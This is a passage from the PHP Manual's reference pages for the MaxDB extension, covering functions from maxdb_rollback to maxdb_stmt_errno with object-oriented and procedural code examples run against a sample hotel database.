$maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city");
$maxdb->query("INSERT INTO temp.mycity SELECT * FROM hotel.city");

/* commit insert */
$maxdb->commit();

/* delete all rows */
$maxdb->query("DELETE FROM temp.mycity");

if ($result = $maxdb->query("SELECT COUNT(*) FROM temp.mycity")) {
   $row = $result->fetch_row();
   printf("%d rows in table mycity.\n", $row[0]);
   /* Free result */
   $result->close();
}

/* Rollback */
$maxdb->rollback();

if ($result = $maxdb->query("SELECT COUNT(*) FROM temp.mycity")) {
   $row = $result->fetch_row();
   printf("%d rows in table mycity (after rollback).\n", $row[0]);
   /* Free result */
   $result->close();
}

/* Drop table myCity */
$maxdb->query("DROP TABLE temp.mycity");

$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* disable autocommit */
maxdb_autocommit($link, FALSE);

maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city");
maxdb_query($link, "INSERT INTO temp.mycity SELECT * FROM hotel.city");

/* commit insert */
maxdb_commit($link);

/* delete all rows */
maxdb_query($link, "DELETE FROM temp.mycity");

if ($result = maxdb_query($link, "SELECT COUNT(*) FROM temp.mycity")) {
   $row = maxdb_fetch_row($result);
   printf("%d rows in table mycity.\n", $row[0]);
   /* Free result */
   maxdb_free_result($result);
}

/* Rollback */
maxdb_rollback($link);

if ($result = maxdb_query($link, "SELECT COUNT(*) FROM temp.mycity")) {
   $row = maxdb_fetch_row($result);
   printf("%d rows in table mycity (after rollback).\n", $row[0]);
   /* Free result */
   maxdb_free_result($result);
}

/* Drop table myCity */
maxdb_query($link, "DROP TABLE temp.mycity");

maxdb_close($link);
?>

The above example will output something similar to:

0 rows in table mycity.
25 rows in table mycity (after rollback).

See Also

  • maxdb_commit() - Commits the current transaction
  • maxdb_autocommit() - Turns on or off auto-commiting database modifications

User Contributed Notes

There are no user contributed notes for this page.


Check if RPL parse is enabled

  • « maxdb_rollback
  • maxdb_rpl_probe »
  • PHP Manual
  • MaxDB Functions
  • Check if RPL parse is enabled

maxdb_rpl_parse_enabled

(PECL maxdb >= 1.0)

maxdb_rpl_parse_enabled — Check if RPL parse is enabled

Description

int maxdb_rpl_parse_enabled ( resource $link )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


RPL probe

  • « maxdb_rpl_parse_enabled
  • maxdb_rpl_query_type »
  • PHP Manual
  • MaxDB Functions
  • RPL probe

maxdb_rpl_probe

(PECL maxdb >= 1.0)

maxdb_rpl_probe — RPL probe

Description

bool maxdb_rpl_probe ( resource $link )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Returns RPL query type

  • « maxdb_rpl_probe
  • maxdb_select_db »
  • PHP Manual
  • MaxDB Functions
  • Returns RPL query type

maxdb_rpl_query_type

maxdb::rpl_query_type

(PECL maxdb >= 1.0)

maxdb_rpl_query_type -- maxdb::rpl_query_type — Returns RPL query type

Description

Procedural style

int maxdb_rpl_query_type ( resource $link )

Object oriented style

int maxdb::rpl_query_type ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Selects the default database for database queries

  • « maxdb_rpl_query_type
  • maxdb_send_long_data »
  • PHP Manual
  • MaxDB Functions
  • Selects the default database for database queries

maxdb_select_db

maxdb::select_db

(PECL maxdb >= 1.0)

maxdb_select_db -- maxdb::select_db — Selects the default database for database queries

Description

bool maxdb_select_db ( resource $link , string $dbname )

The maxdb_select_db() function selects the default database (specified by the dbname parameter) to be used when performing queries against the database connection represented by the link parameter.

Note:

This function should only be used to change the default database for the connection. You can select the default database with 4th parameter in maxdb_connect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* return name of current default database */
if ($result = $maxdb->query("SELECT SERVERDB FROM USERS WHERE USERNAME='MONA'")) {
   $row = $result->fetch_row();
   printf("Default database is %s.\n", $row[0]);
   $result->close();
}

/* change db to non existing db */
$maxdb->select_db("XXXXXXXX");

/* return name of current default database */
if ($result = $maxdb->query("SELECT SERVERDB FROM USERS WHERE USERNAME='MONA'")) {
   $row = $result->fetch_row();
   printf("Default database is %s.\n", $row[0]);
   $result->close();
}

$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* return name of current default database */
if ($result = maxdb_query($link, "SELECT SERVERDB FROM USERS WHERE USERNAME='MONA'")) {
   $row = maxdb_fetch_row($result);
   printf("Default database is %s.\n", $row[0]);
   maxdb_free_result($result);
}

/* change db to non existing db */
maxdb_select_db($link, "XXXXXXXX");

/* return name of current default database */
if ($result = maxdb_query($link, "SELECT SERVERDB FROM USERS WHERE USERNAME='MONA'")) {
   $row = maxdb_fetch_row($result);
   printf("Default database is %s.\n", $row[0]);
   maxdb_free_result($result);
}

maxdb_close($link);
?>

The above example will output something similar to:

Default database is <...>.

Warning: maxdb_select_db(): -10709 Connection failed (RTE:database not running) <...>

Warning: maxdb_query(): -10821 Session not connected [] <...>

Warning: maxdb_close(): -10821 Session not connected [] <...>

See Also

  • maxdb_connect() - Open a new connection to the MaxDB server
  • maxdb_real_connect() - Opens a connection to a MaxDB server

User Contributed Notes

There are no user contributed notes for this page.


Alias of maxdb_stmt_send_long_data

  • « maxdb_select_db
  • maxdb_send_query »
  • PHP Manual
  • MaxDB Functions
  • Alias of maxdb_stmt_send_long_data

maxdb_send_long_data

(PECL maxdb >= 1.0)

maxdb_send_long_data — Alias of maxdb_stmt_send_long_data()

Description

This function is an alias of: maxdb_stmt_send_long_data().

This function alias is deprecated and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future.

User Contributed Notes

There are no user contributed notes for this page.


Send the query and return

  • « maxdb_send_long_data
  • maxdb_server_end »
  • PHP Manual
  • MaxDB Functions
  • Send the query and return

maxdb_send_query

maxdb::send_query

(PECL maxdb >= 1.0)

maxdb_send_query -- maxdb::send_query — Send the query and return

Description

Procedural style

bool maxdb_send_query ( resource $link , string $query )

Object oriented style

bool maxdb::send_query ( string $query )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Shut down the embedded server

  • « maxdb_send_query
  • maxdb_server_init »
  • PHP Manual
  • MaxDB Functions
  • Shut down the embedded server

maxdb_server_end

(PECL maxdb >= 1.0)

maxdb_server_end — Shut down the embedded server

Description

void maxdb_server_end ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Initialize embedded server

  • « maxdb_server_end
  • maxdb_set_opt »
  • PHP Manual
  • MaxDB Functions
  • Initialize embedded server

maxdb_server_init

(PECL maxdb >= 1.0)

maxdb_server_init — Initialize embedded server

Description

bool maxdb_server_init ([ array $server [, array $groups ]] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Alias of maxdb_options

  • « maxdb_server_init
  • maxdb_sqlstate »
  • PHP Manual
  • MaxDB Functions
  • Alias of maxdb_options

maxdb_set_opt

(PECL maxdb 1.0)

maxdb_set_opt — Alias of maxdb_options()

Description

This function is an alias of: maxdb_options().

User Contributed Notes

There are no user contributed notes for this page.


Returns the SQLSTATE error from previous MaxDB operation

  • « maxdb_set_opt
  • maxdb_ssl_set »
  • PHP Manual
  • MaxDB Functions
  • Returns the SQLSTATE error from previous MaxDB operation

maxdb_sqlstate

maxdb::sqlstate

(PECL maxdb >= 1.0)

maxdb_sqlstate -- maxdb::sqlstate — Returns the SQLSTATE error from previous MaxDB operation

Description

Procedural style

string maxdb_sqlstate ( resource $link )

Object oriented style

string $maxdb->sqlstate;

Returns a string containing the SQLSTATE error code for the last error. The error code consists of five characters. '00000' means no error. The values are specified by ANSI SQL and ODBC.

Note:

Note that not all MaxDB errors are yet mapped to SQLSTATE's. The value HY000 (general error) is used for unmapped errors.

Return Values

Returns a string containing the SQLSTATE error code for the last error. The error code consists of five characters. '00000' means no error.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Table City already exists, so we should get an error */
if (!$maxdb->query("CREATE TABLE hotel.city (ID INT, Name VARCHAR(30))")) {
   printf("Error - SQLSTATE %s.\n", $maxdb->sqlstate);
}

$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Table City already exists, so we should get an error */
if (!maxdb_query($link, "CREATE TABLE hotel.city (ID INT, Name VARCHAR(30))")) {
   printf("Error - SQLSTATE %s.\n", maxdb_sqlstate($link));
}

maxdb_close($link);
?>

The above example will output something similar to:

Warning: maxdb_query(): -6000 POS(20) Duplicate table name:CITY [I6000] <...>
Error - SQLSTATE I6000.

See Also

  • maxdb_errno() - Returns the error code for the most recent function call
  • maxdb_error() - Returns a string description of the last error

User Contributed Notes

There are no user contributed notes for this page.


Used for establishing secure connections using SSL

  • « maxdb_sqlstate
  • maxdb_stat »
  • PHP Manual
  • MaxDB Functions
  • Used for establishing secure connections using SSL

maxdb_ssl_set

maxdb::ssl_set

(PECL maxdb >= 1.0)

maxdb_ssl_set -- maxdb::ssl_set — Used for establishing secure connections using SSL

Description

Procedural style

bool maxdb_ssl_set ( resource $link , string $key , string $cert , string $ca , string $capath , string $cipher )

Object oriented style

bool maxdb::ssl_set ( string $key , string $cert , string $ca , string $capath , string $cipher )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Gets the current system status

  • « maxdb_ssl_set
  • maxdb_stmt_affected_rows »
  • PHP Manual
  • MaxDB Functions
  • Gets the current system status

maxdb_stat

maxdb::stat

(PECL maxdb >= 1.0)

maxdb_stat -- maxdb::stat — Gets the current system status

Description

Procedural style

string maxdb_stat ( resource $link )

Object oriented style

string maxdb::stat ( void )

maxdb_stat() returns a string containing several information about the MaxDB server running.

Return Values

A string describing the server status. FALSE if an error occurred.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

printf ("System status: %s\n", $maxdb->stat());

$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

printf("System status: %s\n", maxdb_stat($link));

maxdb_close($link);
?>

The above example will output something similar to:

System status: Kernel    7<...>

See Also

  • maxdb_get_server_info() - Returns the version of the MaxDB server

User Contributed Notes

There are no user contributed notes for this page.


Returns the total number of rows changed, deleted, or inserted by the last executed statement

  • « maxdb_stat
  • maxdb_stmt_bind_param »
  • PHP Manual
  • MaxDB Functions
  • Returns the total number of rows changed, deleted, or inserted by the last executed statement

maxdb_stmt_affected_rows

maxdb_stmt::affected_rows

(PECL maxdb >= 1.0)

maxdb_stmt_affected_rows -- maxdb_stmt::affected_rows — Returns the total number of rows changed, deleted, or inserted by the last executed statement

Description

Procedural style

int maxdb_stmt_affected_rows ( resource $stmt )

Object oriented style

int $maxdb_stmt->affected_rows;

maxdb_stmt_affected_rows() returns the number of rows affected by INSERT, UPDATE, or DELETE query. If the last query was invalid or the number of rows can not determined, this function will return -1.

Return Values

An integer greater than zero indicates the number of rows affected or retrieved. Zero indicates that no records where updated for an UPDATE/DELETE statement, no rows matched the WHERE clause in the query or that no query has yet been executed. -1 indicates that the query has returned an error or the number of rows can not determined.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* create temp table */
$maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city");

$query = "INSERT INTO temp.mycity SELECT * FROM hotel.city WHERE state LIKE ?";

/* prepare statement */
if ($stmt = $maxdb->prepare($query)) {

   /* Bind variable for placeholder */
   $code = 'N%';
   $stmt->bind_param("s", $code);

   /* execute statement */
   $stmt->execute();

   printf("rows inserted: %d\n", $stmt->affected_rows);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* create temp table */
maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city");

$query = "INSERT INTO temp.mycity SELECT * FROM hotel.city WHERE state LIKE ?";

/* prepare statement */
if ($stmt = maxdb_prepare($link, $query)) {

   /* Bind variable for placeholder */
   $code = 'N%';
   maxdb_stmt_bind_param($stmt, "s", $code);

   /* execute statement */
   maxdb_stmt_execute($stmt);

   printf("rows inserted: %d\n", maxdb_stmt_affected_rows($stmt));

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

rows inserted: 4

See Also

  • maxdb_stmt_num_rows() - Return the number of rows in statements result set
  • maxdb_prepare() - Prepare an SQL statement for execution

User Contributed Notes

There are no user contributed notes for this page.


Binds variables to a prepared statement as parameters

  • « maxdb_stmt_affected_rows
  • maxdb_stmt_bind_result »
  • PHP Manual
  • MaxDB Functions
  • Binds variables to a prepared statement as parameters

maxdb_stmt_bind_param

maxdb_stmt::bind_param

(PECL maxdb >= 1.0)

maxdb_stmt_bind_param -- maxdb_stmt::bind_param — Binds variables to a prepared statement as parameters

Description

Procedural style

bool maxdb_stmt_bind_param ( resource $stmt , string $types , mixed &$var1 [, mixed &$... ] )

Object oriented style

bool maxdb_stmt::bind_param ( string $types , mixed &$var1 [, mixed &$... ] )

Procedural style (extended syntax):

bool maxdb_stmt_bind_param ( resource $stmt , string $types , array &$var )

Object oriented style (extended syntax):

bool maxdb_stmt::bind_param ( string $types , array &$var )

maxdb_stmt_bind_param() is used to bind variables for the parameter markers in the SQL statement that was passed to maxdb_prepare(). The string types contains one or more characters which specify the types for the corresponding bind variables.

The extended syntax of maxdb_stmt_bind_param() allows to give the parameters as an array instead of a variable list of PHP variables to the function. If the array variable has not been used before calling maxdb_stmt_bind_param(), it has to be initialized as an emtpy array. See the examples how to use maxdb_stmt_bind_param() with extended syntax.

Variables for SELECT INTO SQL statements can also be bound using maxdb_stmt_bind_param(). Parameters for database procedures can be bound using maxdb_stmt_bind_param(). See the examples how to use maxdb_stmt_bind_param() in this cases.

If a variable bound as INTO variable to an SQL statement was used before, the content of this variable is overwritten by the data of the SELECT INTO statement. A reference to this variable will be invalid after a call to maxdb_stmt_bind_param().

For INOUT parameters of database procedures the content of the bound INOUT variable is overwritten by the output value of the database procedure. A reference to this variable will be invalid after a call to maxdb_stmt_bind_param().

Type specification chars
Character | Description
i | corresponding variable has type integer
d | corresponding variable has type double
s | corresponding variable has type string
b | corresponding variable is a blob and will be sent in packages

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb('localhost', 'MONA', 'RED', 'DEMODB');

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query ("CREATE TABLE temp.mycity LIKE hotel.city");
$maxdb->query ("INSERT INTO temp.mycity SELECT * FROM hotel.city");

$stmt = $maxdb->prepare("INSERT INTO temp.mycity VALUES (?, ?, ?)");
$stmt->bind_param('sss', $zip, $name, $state);

$zip = '11111';
$name = 'Georgetown';
$state = 'NY';

/* execute prepared statement */
$stmt->execute();

printf("%d Row inserted.\n", $stmt->affected_rows);

/* close statement and connection */
$stmt->close();

/* Clean up table CountryLanguage */
$maxdb->query("DELETE FROM temp.mycity WHERE name='Georgetown'");
printf("%d Row deleted.\n", $maxdb->affected_rows);

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_query ($link, "CREATE TABLE temp.mycity LIKE hotel.city");
maxdb_query ($link, "INSERT INTO temp.mycity SELECT * FROM hotel.city");

$stmt = maxdb_prepare($link, "INSERT INTO temp.mycity VALUES (?, ?, ?)");
maxdb_stmt_bind_param($stmt, 'sss', $zip, $name, $state);

$zip = '11111';
$name = 'Georgetown';
$state = 'NY';

/* execute prepared statement */
maxdb_stmt_execute($stmt);

printf("%d Row inserted.\n", maxdb_stmt_affected_rows($stmt));

/* close statement and connection */
maxdb_stmt_close($stmt);

/* Clean up table CountryLanguage */
maxdb_query($link, "DELETE FROM temp.mycity WHERE name='Georgetown'");
printf("%d Row deleted.\n", maxdb_affected_rows($link));

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

1 Row inserted.
1 Row deleted.

Example #3 Procedural style (SELECT INTO)

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Performing SQL query */
$stmt = maxdb_prepare ($link, "SELECT price INTO ? FROM hotel.room where hno = ? and type = ?");
if (!$stmt) {
  printf ("Prepare failed: %s\n", maxdb_error($link));
}

$hno = "50";
$rtype = "suite";

maxdb_stmt_bind_param($stmt, 'dss', $price, $hno, $rtype);
maxdb_stmt_execute($stmt);

printf ("%f\n", $price);

maxdb_stmt_close ($stmt);
?>

The above example will output something similar to:

21.600000

Example #4 Procedural style (DB procedure)

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_report (MAXDB_REPORT_OFF);
maxdb_query($link,"DROP DBPROC test_proc");
maxdb_report (MAXDB_REPORT_ERROR);

$query = "create dbproc test_proc (INOUT e_text char(72)) AS select * from SYSDBA.DUAL; fetch into :e_text;";

maxdb_query($link, $query);

/* Performing SQL query */
$stmt = maxdb_prepare ($link, "CALL test_proc (?)");
if (!$stmt) {
  printf ("Prepare failed: %s\n", maxdb_error($link));
}

maxdb_stmt_bind_param($stmt, 's', $result);
maxdb_stmt_execute($stmt);

printf ("%s\n", $result);

maxdb_stmt_close ($stmt);
?>

The above example will output something similar to:

a

Example #5 Object oriented style (extended syntax)

<?php
$maxdb = new maxdb('localhost', 'MONA', 'RED', 'DEMODB');

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query ("CREATE TABLE temp.mycity LIKE hotel.city");
$maxdb->query ("INSERT INTO temp.mycity SELECT * FROM hotel.city");

$stmt = $maxdb->prepare("INSERT INTO temp.mycity VALUES (?, ?, ?)");

$arr = array();

$stmt->bind_param('iss', $arr);

$arr[0] = 11111;
$arr[1] = 'Georgetown';
$arr[2] = 'NY';

/* execute prepared statement */
$stmt->execute();

printf("%d Row inserted.\n", maxdb_stmt_affected_rows($stmt));

$arr[0] = 22222;
$arr[1] = 'New Orleans';
$arr[2] = 'LA';

/* execute prepared statement */
$stmt->execute();

printf("%d Row inserted.\n", $stmt->affected_rows);

/* close statement and connection */
$stmt->close();

$result = $maxdb->query("SELECT * from temp.mycity WHERE zip = '11111' OR zip = '22222'");
if ($result) {
  while ($row = $result->fetch_row()) {
    printf ("%s %s %s\n", $row[0], $row[1], $row[2]);
  }
}

/* Clean up table CountryLanguage */
$maxdb->query("DELETE FROM temp.mycity WHERE name='Georgetown'");
$maxdb->query("DELETE FROM temp.mycity WHERE name='New Orleans'");
printf("%d Rows deleted.\n", $maxdb->affected_rows);

/* close connection */
$maxdb->close();
?>

The above example will output something similar to:

1 Row inserted.
1 Row inserted.
11111 Georgetown NY
22222 New Orleans LA
2 Rows deleted.

See Also

  • maxdb_stmt_bind_result() - Binds variables to a prepared statement for result storage
  • maxdb_stmt_execute() - Executes a prepared Query
  • maxdb_stmt_fetch() - Fetch results from a prepared statement into the bound variables
  • maxdb_prepare() - Prepare an SQL statement for execution
  • maxdb_stmt_send_long_data() - Send data in blocks
  • maxdb_stmt_errno() - Returns the error code for the most recent statement call
  • maxdb_stmt_error() - Returns a string description for last statement error

User Contributed Notes

There are no user contributed notes for this page.


Binds variables to a prepared statement for result storage

  • « maxdb_stmt_bind_param
  • maxdb_stmt_close_long_data »
  • PHP Manual
  • MaxDB Functions
  • Binds variables to a prepared statement for result storage

maxdb_stmt_bind_result

maxdb_stmt::bind_result

(PECL maxdb >= 1.0)

maxdb_stmt_bind_result -- maxdb_stmt::bind_result — Binds variables to a prepared statement for result storage

Description

Procedural style

bool maxdb_stmt_bind_result ( resource $stmt , mixed &$var1 [, mixed &$... ] )

Object oriented style

bool maxdb_stmt::bind_result ( mixed &$var1 [, mixed &$... ] )

maxdb_stmt_bind_result() is used to associate (bind) columns in the result set to variables. When maxdb_stmt_fetch() is called to fetch data, the MaxDB client/server protocol places the data for the bound columns into the specified variables var1, ....

Note:

Note that all columns must be bound prior to calling maxdb_stmt_fetch(). Depending on column types bound variables can silently change to the corresponding PHP type.

A column can be bound or rebound at any time, even after a result set has been partially retrieved. The new binding takes effect the next time maxdb_stmt_fetch() is called.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* prepare statement */
if ($stmt = $maxdb->prepare("SELECT zip, name FROM hotel.city ORDER BY name")) {
   $stmt->execute();

   /* bind variables to prepared statement */
   $stmt->bind_result($col1, $col2);

   /* fetch values */
   while ($stmt->fetch()) {
       printf("%s %s\n", $col1, $col2);
   }

   /* close statement */
   $stmt->close();
}
/* close connection */
$maxdb->close();

?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* prepare statement */
if ($stmt = maxdb_prepare($link, "SELECT zip, name FROM hotel.city ORDER BY name")) {
   maxdb_stmt_execute($stmt);

   /* bind variables to prepared statement */
   maxdb_stmt_bind_result($stmt, $col1, $col2);

   /* fetch values */
   while (maxdb_stmt_fetch($stmt)) {
       printf("%s %s\n", $col1, $col2);
   }

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

12203 Albany
60601 Chicago
60615 Chicago
45211 Cincinnati
33575 Clearwater
75243 Dallas
32018 Daytona Beach
33441 Deerfield Beach
48226 Detroit
90029 Hollywood
92714 Irvine
90804 Long Beach
11788 Long Island
90018 Los Angeles
70112 New Orleans
10019 New York
10580 New York
92262 Palm Springs
97213 Portland
60018 Rosemont
95054 Santa Clara
20903 Silver Spring
20005 Washington
20019 Washington
20037 Washington

See Also

  • maxdb_stmt_bind_param() - Binds variables to a prepared statement as parameters
  • maxdb_stmt_execute() - Executes a prepared Query
  • maxdb_stmt_fetch() - Fetch results from a prepared statement into the bound variables
  • maxdb_prepare() - Prepare an SQL statement for execution
  • maxdb_stmt_prepare() - Prepare an SQL statement for execution
  • maxdb_stmt_init() - Initializes a statement and returns an resource for use with maxdb_stmt_prepare
  • maxdb_stmt_errno() - Returns the error code for the most recent statement call
  • maxdb_stmt_error() - Returns a string description for last statement error

User Contributed Notes

There are no user contributed notes for this page.


Ends a sequence of maxdb_stmt_send_long_data

  • « maxdb_stmt_bind_result
  • maxdb_stmt_close »
  • PHP Manual
  • MaxDB Functions
  • Ends a sequence of maxdb_stmt_send_long_data

maxdb_stmt_close_long_data

maxdb_stmt::close_long_data

(PECL maxdb 1.0)

maxdb_stmt_close_long_data -- maxdb_stmt::close_long_data — Ends a sequence of maxdb_stmt_send_long_data()

Description

Procedural style

bool maxdb_stmt_close_long_data ( resource $stmt , int $param_nr )

Object oriented style

bool maxdb_stmt::close_long_data ( void )

This function has to be called after a sequence of maxdb_stmt_send_long_data(), that was started after maxdb_execute().

param_nr indicates which parameter to associate the end of data with. Parameters are numbered beginning with 0.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • maxdb_prepare() - Prepare an SQL statement for execution
  • maxdb_stmt_bind_param() - Binds variables to a prepared statement as parameters

User Contributed Notes

There are no user contributed notes for this page.


Closes a prepared statement

  • « maxdb_stmt_close_long_data
  • maxdb_stmt_data_seek »
  • PHP Manual
  • MaxDB Functions
  • Closes a prepared statement

maxdb_stmt_close

maxdb_stmt::close

(PECL maxdb >= 1.0)

maxdb_stmt_close -- maxdb_stmt::close — Closes a prepared statement

Description

Procedural style

bool maxdb_stmt_close ( resource $stmt )

Object oriented style

bool maxdb_stmt::close ( void )

Closes a prepared statement. maxdb_stmt_close() also deallocates the statement handle pointed to by stmt. If the current statement has pending or unread results, this function cancels them so that the next query can be executed.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • maxdb_prepare() - Prepare an SQL statement for execution

User Contributed Notes

There are no user contributed notes for this page.


Seeks to an arbitray row in statement result set

  • « maxdb_stmt_close
  • maxdb_stmt_errno »
  • PHP Manual
  • MaxDB Functions
  • Seeks to an arbitray row in statement result set

maxdb_stmt_data_seek

maxdb_stmt::data_seek

(PECL maxdb >= 1.0)

maxdb_stmt_data_seek -- maxdb_stmt::data_seek — Seeks to an arbitray row in statement result set

Description

Procedural style

bool maxdb_stmt_data_seek ( resource $statement , int $offset )

Object oriented style

bool maxdb_stmt::data_seek ( int $offset )

The maxdb_stmt_data_seek() function seeks to an arbitrary result pointer specified by the offset in the statement result set represented by statement. The offset parameter must be between zero and the total number of rows minus one (0..maxdb_stmt_num_rows() - 1).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, zip FROM hotel.city ORDER BY name";
if ($stmt = $maxdb->prepare($query)) {

   /* execute query */
   $stmt->execute();

   /* bind result variables */
   $stmt->bind_result($name, $code);

   /* store result */
   $stmt->store_result();

   /* seek to row no. 5 */
   $stmt->data_seek(5);

   /* fetch values */
   $stmt->fetch();

   printf ("City: %s  Zip: %s\n", $name, $code);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, zip FROM hotel.city ORDER BY name";
if ($stmt = maxdb_prepare($link, $query)) {

   /* execute query */
   maxdb_stmt_execute($stmt);

   /* bind result variables */
   maxdb_stmt_bind_result($stmt, $name, $code);

   /* store result */
   maxdb_stmt_store_result($stmt);

   /* seek to row no. 5 */
   maxdb_stmt_data_seek($stmt, 5);

   /* fetch values */
   maxdb_stmt_fetch($stmt);

   printf ("City: %s  Zip: %s\n", $name, $code);

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

City: Dallas  Zip: 75243

See Also

  • maxdb_prepare() - Prepare an SQL statement for execution

User Contributed Notes

There are no user contributed notes for this page.


Returns the error code for the most recent statement call

  • « maxdb_stmt_data_seek
  • maxdb_stmt_error »
  • PHP Manual
  • MaxDB Functions
  • Returns the error code for the most recent statement call

maxdb_stmt_errno

maxdb_stmt::errno

(PECL maxdb >= 1.0)

maxdb_stmt_errno -- maxdb_stmt::errno — Returns the error code for the most recent statement call

Description

Procedural style

int maxdb_stmt_errno ( resource $stmt )

Object oriented style

int $maxdb_stmt->errno;

For the statement specified by stmt, maxdb_stmt_errno() returns the error code for the most recently invoked statement function that can succeed or fail.

Note:

For possible error codes see documentation of SQLDBC: » http://maxdb.sap.com/documentation/.

Return Values

An error code value. Zero means no error occurred.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city");
$maxdb->query("INSERT INTO temp.mycity SELECT * FROM hotel.city");

$query = "SELECT name, zip FROM temp.mycity ORDER BY name";
if ($stmt = $maxdb->prepare($query)) {

   /* drop table */
   $maxdb->query("DROP TABLE temp.mycity");

   /* execute query */
   $stmt->execute();

   printf("Error: %d.\n", $stmt->errno);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city");
maxdb_query($link, "INSERT INTO temp.mycity SELECT * FROM hotel.city");

